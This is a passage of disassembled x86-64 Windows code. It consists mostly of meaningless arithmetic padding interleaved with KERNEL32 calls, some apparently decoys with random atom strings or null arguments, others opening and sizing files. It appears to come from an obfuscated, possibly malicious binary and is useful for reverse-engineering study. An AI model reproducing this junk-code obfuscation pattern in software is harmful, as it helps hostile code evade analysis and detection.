call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3668], ax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd158], eax
movzx eax, byte [rsp + 0x7cd]
movzx ecx, byte [rsp + 0xfd]
xor eax, ecx
mov byte [rsp + 0x17a], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36c4]
or eax, ecx
mov word [0x1402bf758], ax
mov eax, dword [0x1402ad630]
mov dword [rsp + 0xd314], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd1dc]
shl eax, cl
mov dword [rsp + 0xcf50], eax
mov rax, qword [rsp + 0x19bd8]
mov eax, dword [rax]
mov dword [rsp + 0xd318], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xce84], eax
lea rcx, str.2Pev_LVBTyVX_QlPhlTOq
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3718], ax
mov rax, qword [0x1402bf760]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9c14]
shr eax, cl
mov dword [rsp + 0xd0a4], eax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7c3], al
movzx eax, word [rsp + 0x35c0]
movzx ecx, word [rsp + 0x35f0]
add eax, ecx
mov word [rsp + 0x34c4], ax
movsx eax, byte [rsp + 0x1d3]
mov rcx, qword [rsp + 0x19c88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x786], al
mov rax, qword [rsp + 0x19960]
movzx eax, word [rax]
mov word [rsp + 0x3774], ax
mov eax, dword [0x1402bf780]
mov ecx, dword [rsp + 0xd220]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad630], eax
mov rax, qword [rsp + 0x19cd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf38], eax
mov rax, qword [rsp + 0x19e00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36f0]
add eax, ecx
mov rcx, qword [rsp + 0x19dc8]
mov word [rcx], ax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov byte [rsp + 0x7cf], al
mov rax, qword [rsp + 0x19c48]
mov ecx, dword [rsp + 0xcd94]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa528], eax
mov eax, dword [rsp + 0xb6d4]
mov ecx, dword [rsp + 0xcf40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9118], eax
mov eax, dword [rsp + 0xd0f0]
mov ecx, dword [rsp + 0xd2a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd2b8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.N9uBEhsxLyeVO6Y84hoaDC5D1SUw0HjDX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x19e20], rax
mov eax, dword [rsp + 0xd160]
mov dword [rsp + 0xd31c], eax
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
movzx ecx, word [0x1402ad704]
or eax, ecx
mov word [rsp + 0x1d1c], ax
movzx eax, byte [rsp + 0x4c2]
mov byte [0x1402bf640], al
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd2bc]
shr eax, cl
mov dword [rsp + 0xadd0], eax
mov eax, dword [rsp + 0xd1ac]
mov dword [rsp + 0xd320], eax
mov rax, qword [rsp + 0x19df8]
mov eax, dword [rax]
mov rcx, qword [0x1402bf768]
mov qword [rsp + 0x19e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19e28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd05c], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2f0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa304], eax
mov rax, qword [0x1402bf6c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb6a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x19890]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3304]
sub eax, ecx
mov word [rsp + 0x3604], ax
lea rax, [rsp + 0x7ad]
mov qword [rsp + 0x19e30], rax
movzx eax, byte [rsp + 0x793]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x785], al
movzx eax, word [rsp + 0x36c4]
mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad718], ax
mov eax, dword [rsp + 0xcd4c]
mov dword [rsp + 0xd324], eax
mov eax, dword [rsp + 0xcefc]
mov ecx, dword [rsp + 0xcdd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd220], eax
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36c4]
imul eax, ecx
mov word [rsp + 0x3764], ax
lea rax, [rsp + 0x78c]
mov qword [rsp + 0x19e38], rax
mov rax, qword [rsp + 0x19a70]
mov eax, dword [rax]
mov ecx, dword [0x1402bf6b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a18]
mov dword [rcx], eax
lea rcx, [rsp + 0x19a00]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov dword [rsp + 0xd328], eax
mov eax, dword [rsp + 0xcf00]
mov ecx, dword [rsp + 0xc7cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd158], eax
mov eax, dword [rsp + 0xb240]
mov ecx, dword [0x1402ad6b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd124], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36d4]
add eax, ecx
mov word [0x1402ad6c4], ax
mov rax, qword [rsp + 0x19c70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x60a], al
lea rdx, [rsp + 0x19778]
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd29c], eax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19ac0]
mov qword [rsp + 0x19e40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19e40]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcff0], eax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov dword [rsp + 0xd32c], eax
movsx eax, byte [rsp + 0x3e7]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb4], al
movzx eax, word [rsp + 0x36e0]
mov word [rsp + 0x3778], ax
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3610]
cdq
idiv ecx
mov word [rsp + 0x376c], ax
lea rcx, str.VOg6e_sA
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x377c], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xce8c], eax
movzx eax, byte [rsp + 0x798]
movzx ecx, byte [rsp + 0x3a2]
xor eax, ecx
mov byte [rsp + 0x7a7], al
mov eax, dword [rsp + 0x892c]
mov dword [rsp + 0xd330], eax
lea rax, [rsp + 0xd130]
mov qword [0x1402bf638], rax
mov eax, dword [rsp + 0xc0fc]
movzx ecx, al
mov eax, dword [rsp + 0x9c0c]
sar eax, cl
mov rcx, qword [rsp + 0x19a18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e18]
mov rcx, qword [rsp + 0x19dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa430], eax
mov rax, qword [rsp + 0x19888]
mov ecx, dword [rsp + 0xba54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd048], eax
mov rax, qword [0x1402bf698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7bc]
sub eax, ecx
mov byte [rsp + 0x783], al
movzx eax, word [rsp + 0x1d1c]
mov word [rsp + 0x3780], ax
mov rax, qword [rsp + 0x19b18]
mov rcx, qword [0x1402bf648]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ccc], eax
mov eax, dword [rsp + 0xce7c]
mov dword [rsp + 0xd334], eax
mov rax, qword [rsp + 0x19d20]
mov rcx, qword [rsp + 0x19988]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf1c], eax
mov rax, qword [rsp + 0x19a60]
mov rcx, qword [rsp + 0x19c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x1402bf6c8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3750]
movzx ecx, word [rsp + 0x36f8]
imul eax, ecx
mov word [rsp + 0x2338], ax
lea rax, [rsp + 0x7a7]
mov qword [rsp + 0x19e48], rax
movsx eax, word [rsp + 0x3760]
mov rcx, qword [0x1402bf6a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3614], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcdec], eax
mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb4]
sub eax, ecx
mov byte [rsp + 0x17f], al
mov edx, 0x1241
mov rcx, qword [rsp + 0x19be0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd338], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xce04], eax
mov eax, dword [rsp + 0xb6a0]
mov dword [rsp + 0xd33c], eax
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x666]
add eax, ecx
mov byte [rsp + 0x797], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19c40]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x3638], ax
mov rax, qword [rsp + 0x19728]
mov rcx, qword [rsp + 0x19cb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1402ad664], eax
mov eax, dword [rsp + 0xcf0c]
mov dword [rsp + 0xd340], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcd98]
shl eax, cl
mov rcx, qword [rsp + 0x19c78]
mov dword [rcx], eax
lea rax, [rsp + 0xd288]
mov qword [rsp + 0x19e50], rax
movzx eax, byte [rsp + 0x78f]
movzx ecx, byte [rsp + 0x9a]
xor eax, ecx
mov byte [rsp + 0x7c0], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x36b8], ax
mov eax, dword [rsp + 0x8194]
mov ecx, dword [rsp + 0xcedc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa280], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd138], eax
movzx ecx, word [rsp + 0x35d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35e8], ax
mov rax, qword [0x1402bf740]
mov eax, dword [rax]
mov dword [rsp + 0xd344], eax
mov rax, qword [rsp + 0x19d20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd2e8]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad71c], eax
mov rax, qword [rsp + 0x19b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a70]
mov dword [rcx], eax
mov rax, qword [0x1402bf6a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19dd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19960]
mov word [rcx], ax
mov rax, qword [rsp + 0x198c8]
movzx eax, byte [rax]
mov byte [rsp + 0x7d0], al
mov rax, qword [rsp + 0x19d00]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb4e]
sub eax, ecx
mov byte [rsp + 0x7b8], al
movzx eax, word [rsp + 0x18d8]
movzx ecx, word [rsp + 0x3184]
add eax, ecx
mov word [rsp + 0x32a4], ax
mov eax, dword [rsp + 0xcf78]
mov ecx, dword [rsp + 0xd118]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1a8], eax
mov rax, qword [rsp + 0x198c0]
mov rcx, qword [rsp + 0x19d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd038], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov byte [rsp + 0x7d1], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20c8]
or eax, ecx
mov word [0x1402ad6ac], ax
mov rax, qword [0x1402bf6c0]
mov ecx, dword [rsp + 0x8100]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd04c], eax
mov eax, dword [rsp + 0xd1ac]
mov dword [rsp + 0xd348], eax
mov rax, qword [rsp + 0x19938]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd080]
sar eax, cl
mov dword [rsp + 0xcec4], eax
mov eax, dword [rsp + 0xd298]
mov dword [rsp + 0xd34c], eax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7ca]
shl eax, cl
mov byte [rsp + 0x4c2], al
mov rax, qword [rsp + 0x19ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19aa8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19950]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xd350], eax
mov rax, qword [rsp + 0x19c58]
mov ecx, dword [rsp + 0xb984]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9da0], eax
mov rax, qword [rsp + 0x19df8]
mov rcx, qword [rsp + 0x198a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x196b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19960]
movzx eax, word [rax]
mov word [0x1402bf630], ax
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xce38], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xce84], eax
mov rax, qword [rsp + 0x199d0]
movzx eax, byte [rax]
mov byte [rsp + 0x7d2], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3678]
add eax, ecx
mov rcx, qword [rsp + 0x19d68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7b8]
movzx ecx, byte [rsp + 0x7b3]
sub eax, ecx
mov byte [rsp + 0x79d], al
mov eax, dword [rsp + 0xd03c]
mov dword [rsp + 0xd354], eax
mov rax, qword [rsp + 0x19cb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc93c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8f4], eax
mov rax, qword [rsp + 0x19c30]
mov rcx, qword [rsp + 0x19d70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x97f4], eax
mov rax, qword [rsp + 0x19d70]
mov ecx, dword [rsp + 0xcf50]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x19c60]
mov ecx, dword [rsp + 0x93c4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0ec], eax
movzx eax, word [rsp + 0x36a4]
mov word [rsp + 0x3784], ax
movzx eax, byte [rsp + 0x60a]
movzx ecx, byte [rsp + 0x7bb]
and eax, ecx
mov byte [0x1402acb87], al
mov eax, dword [rsp + 0xcf8c]
movzx ecx, al
mov eax, dword [rsp + 0xd288]
shr eax, cl
mov dword [rsp + 0xcfdc], eax
mov rax, qword [rsp + 0x19ca0]
mov eax, dword [rax]
mov dword [rsp + 0xd358], eax
mov eax, dword [rsp + 0xcdcc]
mov ecx, dword [rsp + 0xcfc8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdfc], eax
mov eax, dword [rsp + 0xd328]
movzx ecx, al
mov eax, dword [rsp + 0xd044]
shl eax, cl
mov rcx, qword [rsp + 0x19728]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x799]
xor eax, ecx
mov byte [rsp + 0x766], al
movzx eax, word [rsp + 0x361c]
movzx ecx, word [rsp + 0x35fc]
cdq
idiv ecx
mov word [rsp + 0x1a18], ax
mov rax, qword [rsp + 0x19890]
movzx eax, word [rax]
mov word [rsp + 0x3788], ax
movsx eax, byte [rsp + 0x786]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7af], al
mov rax, qword [rsp + 0x19db8]
mov rcx, qword [0x1402bf760]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad720], eax
mov eax, dword [rsp + 0xcf00]
mov dword [rsp + 0xd35c], eax
movzx eax, byte [rsp + 0x7c7]
movzx ecx, byte [rsp + 0x7bc]
imul eax, ecx
mov byte [rsp + 0x785], al
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36a0]
and eax, ecx
mov word [rsp + 0x3698], ax
mov rax, qword [rsp + 0x19d10]
mov rcx, qword [rsp + 0x198e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x911c], eax
mov eax, dword [rsp + 0xd34c]
mov ecx, dword [rsp + 0xd070]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8100], eax
mov eax, dword [0x1402ad6ec]
mov dword [rsp + 0xd360], eax
mov rax, qword [rsp + 0x19850]
mov ecx, dword [rsp + 0xd008]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4fc], eax
movzx eax, word [rsp + 0x35dc]
movzx ecx, word [rsp + 0x3628]
add eax, ecx
mov rcx, qword [rsp + 0x19aa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x78a]
mov rcx, qword [rsp + 0x196d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acb63], al
mov eax, dword [rsp + 0xa2e8]
mov dword [rsp + 0xd364], eax
mov eax, dword [rsp + 0xce5c]
mov ecx, dword [rsp + 0xcb44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb984], eax
mov rax, qword [rsp + 0x19d70]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x91bc], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xc0fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcecc], eax
mov eax, dword [rsp + 0xbfa4]
movzx ecx, al
mov eax, dword [rsp + 0xa528]
sar eax, cl
mov dword [rsp + 0xd020], eax
movzx eax, word [rsp + 0x3740]
mov word [rsp + 0x378c], ax
lea rdx, [rsp + 0x2d2d8]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xd368], eax
movsx eax, byte [rsp + 0x502]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x102], al
mov rax, qword [0x1402bf698]
movzx eax, byte [rax]
mov byte [rsp + 0x7d3], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36d0]
xor eax, ecx
mov word [0x1402ad724], ax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19728]
mov qword [rsp + 0x19e58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19e58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcff0], eax
mov eax, dword [rsp + 0xd28c]
mov dword [rsp + 0xd36c], eax
mov rax, qword [rsp + 0x19908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63d]
and eax, ecx
mov byte [rsp + 0x794], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x35a8], ax
mov eax, dword [rsp + 0xd0d4]
mov ecx, dword [0x1402ad6b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbfd4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd0e8], eax
mov rax, qword [rsp + 0x19710]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb404], eax
mov eax, dword [rsp + 0xd294]
mov dword [rsp + 0xd370], eax
mov rax, qword [rsp + 0x198e0]
mov rcx, qword [rsp + 0x19a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x198c0]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x19e60]
mov rdx, qword [rsp + 0x19e60]
mov rcx, qword [rsp + 0x19b68]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xce8c], eax
mov rax, qword [rsp + 0x19e48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7ce]
sub eax, ecx
mov byte [0x1402bf710], al
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36c4], ax
mov eax, dword [rsp + 0xcff0]
mov dword [rsp + 0xd374], eax
lea rdx, [rsp + 0x19c50]
mov rcx, qword [rsp + 0x19b30]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xccf8], eax
mov eax, dword [rsp + 0xd300]
mov ecx, dword [rsp + 0x93c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9148], eax
movsx eax, word [0x1402ad63c]
movsx ecx, word [rsp + 0x374c]
add eax, ecx
mov word [rsp + 0x3524], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x789], al
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19950]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3674], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x38b]
mov byte [rsp + 0x7d4], al
mov eax, dword [rsp + 0xd334]
mov ecx, dword [rsp + 0xb024]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1d0], eax
lea rax, [rsp + 0xd114]
mov qword [0x1402bf628], rax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov dword [rsp + 0xd378], eax
mov eax, dword [rsp + 0x90c4]
mov ecx, dword [rsp + 0xd03c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf9c], eax
mov rcx, qword [rsp + 0x198b0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd74], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd360]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd170], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [rsp + 0x206], al
movzx eax, word [rsp + 0x3660]
movzx ecx, word [rsp + 0x367c]
sub eax, ecx
mov word [rsp + 0x36b8], ax
mov eax, dword [0x1402ad6a4]
mov dword [rsp + 0xd37c], eax
mov rax, qword [rsp + 0x19af0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xced8], eax
mov eax, dword [rsp + 0xd028]
mov dword [rsp + 0xd380], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov dword [0x1402bf620], eax
movzx eax, word [rsp + 0x3658]
movzx ecx, word [rsp + 0x252c]
add eax, ecx
mov word [rsp + 0x3608], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd2ec], eax
mov rax, qword [rsp + 0x196d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c7]
and eax, ecx
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0x19898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1d1], al
movsx eax, word [rsp + 0x3604]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x373c], ax
movzx ecx, word [rsp + 0x35d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3790], ax
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x35e8], ax
lea rax, [rsp + 0xcf40]
mov qword [rsp + 0x19e68], rax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb9f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19e38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78d]
sub eax, ecx
mov byte [rsp + 0x797], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov word [rsp + 0x3794], ax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e68]
mov qword [rsp + 0x19e70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19e70]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402bf6f4], eax
mov eax, dword [rsp + 0xd300]
mov ecx, dword [rsp + 0xd2fc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1c8], eax
lea rax, [rsp + 0xce00]
mov qword [rsp + 0x19e78], rax
mov rax, qword [rsp + 0x19db8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xadd0]
shr eax, cl
mov dword [rsp + 0x8964], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x19b10], rax
movzx eax, byte [rsp + 0x7a9]
movzx ecx, byte [rsp + 0x7d4]
or eax, ecx
mov rcx, qword [rsp + 0x19908]
mov byte [rcx], al
mov rax, qword [rsp + 0x19e10]
movzx eax, word [rax]
mov word [rsp + 0x3798], ax
mov eax, dword [rsp + 0xd054]
mov ecx, dword [rsp + 0xcdfc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0b8], eax
lea rax, [rsp + 0xac04]
mov qword [rsp + 0x19e80], rax
mov eax, dword [rsp + 0xae44]
mov ecx, dword [rsp + 0xd1b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x892c], eax
mov eax, dword [rsp + 0xcf64]
mov ecx, dword [rsp + 0xbfa4]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad728], eax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov dword [rsp + 0xd384], eax
mov rax, qword [rsp + 0x19940]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19960]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d38], ax
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78b]
add eax, ecx
mov byte [rsp + 0x7af], al
movzx eax, byte [rsp + 0x78e]
mov rcx, qword [rsp + 0x199e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x414], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x361c]
imul eax, ecx
mov rcx, qword [rsp + 0x199a0]
mov word [rcx], ax
mov eax, dword [rsp + 0xc264]
mov dword [rsp + 0xd388], eax
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcdf8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ab0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1dcc]
mov rcx, qword [rsp + 0x19950]
